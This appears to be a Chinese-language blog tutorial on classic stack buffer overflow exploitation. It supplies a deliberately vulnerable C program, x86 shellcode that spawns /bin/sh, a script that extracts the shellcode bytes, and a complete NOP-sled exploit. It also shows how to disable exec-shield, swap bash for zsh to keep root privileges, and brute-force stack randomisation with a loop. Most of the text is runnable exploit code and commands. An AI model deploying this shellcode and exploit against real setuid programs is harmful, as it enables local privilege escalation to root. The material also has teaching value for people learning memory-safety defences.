以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。
为了测试简单,写一个比较简单的程序,我们称之为bug.c
#include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buff[500]; strcpy(buff,argv[1]); return 0; }
好了,我们准备好进入root shell的汇编代码:
Section .text global _start _start: xor eax,eax push eax push 0x68732f ; /sh 小端机存储 push 0x6e69622f ; /bin 小端存储 mov ebx,esp push eax push ebx mov ecx,esp xor edx,edx mov al,0xb ; execve函数 int 0x80
nasm -f elf execve.asm
用ld链接:
ld execve -o execve.o
我们测试一下结果:
很显然,第三行出现了00,这对于shellcode来说是致命的,所以我们想办法规避它。我们用"/"代替0.这样,汇编的源代码就变成了:
Section .text global _start _start: xor eax,eax push eax push 0x68732f2f ; /sh 小端机存储 push 0x6e69622f ; /bin 小端存储 mov ebx,esp push eax push ebx mov ecx,esp xor edx,edx mov al,0xb ; execve函数 int 0x80我们编译链接一下,看代码运行结果:
ok,代码运行结果正常,我们这回再看看二进制代码:
ok,我们把shellcode提出来,我这里用了一个shell脚本:
#!/bin/sh if [ ! $# == 1 ]; then echo Usage: get-shellcode progname exit fi objdump -d $1 | awk -F "\t+" '{print $2}' | sed "/^\s*$/{d}" | awk -F " " '{ for(i=1;i<=NF;i++){ printf("\\x%s",$i) } } END{printf("%s","\n")}'
执行如下命令:
ok,得到shellcode代码了。下面写一段栈溢出攻击的代码,我们称之为exploit.c
#include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd" "\x80"; unsigned long get_stack_addr() { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = get_stack_addr(); ret = esp - offset; buffer = malloc(600); // 把返回地址写进去 ptr = buffer; addr_ptr = (long *)ptr; for (i = 0; i < 600; i += 4) *addr_ptr++ = ret; // 前200个字节填充NOP指令 memset(buffer,'\x90',200); // NOP指令之后填充shellcode ptr = buffer + 200; memcpy(ptr,shellcode,strlen(shellcode)); buffer[599] = '\0'; execl("./bug","bug",buffer,0); free(buffer); return 0; }
这时候我们发现代码挂了。。。。
等等,我们忘记了现在os默认是打开栈地址随机化的,好的,先关掉它测试下:
还有当前是在fedora环境下测试,fedora有个机制保护栈缓冲区溢出攻击,那就是栈代码默认不可执行,我们也打开它:
sudo sysctl -w kernel.exec-shield=0
发现shell是进入了,但是并不是root shell,怎么回事呢?
这是因为操作系统为了防止缓冲区溢出做了很多事,其实一个手段就是保护bash——当shell调用时,自动降低权限。也就是说即使你在shell里面调用带有suid,且用户名为root的程序,也不会成功。怎么办呢?
在这里,我们可以用zsh代替bash,因为zsh默认是没有实现这种保护机制的。
ok,我们再测试下:
成功进入root shell.
可是,假如我们不想关掉栈地址随机化呢,怎么办?我们可以用下面的代码进行测试:
sh -c "while [ 1 ];do ./exploit;done"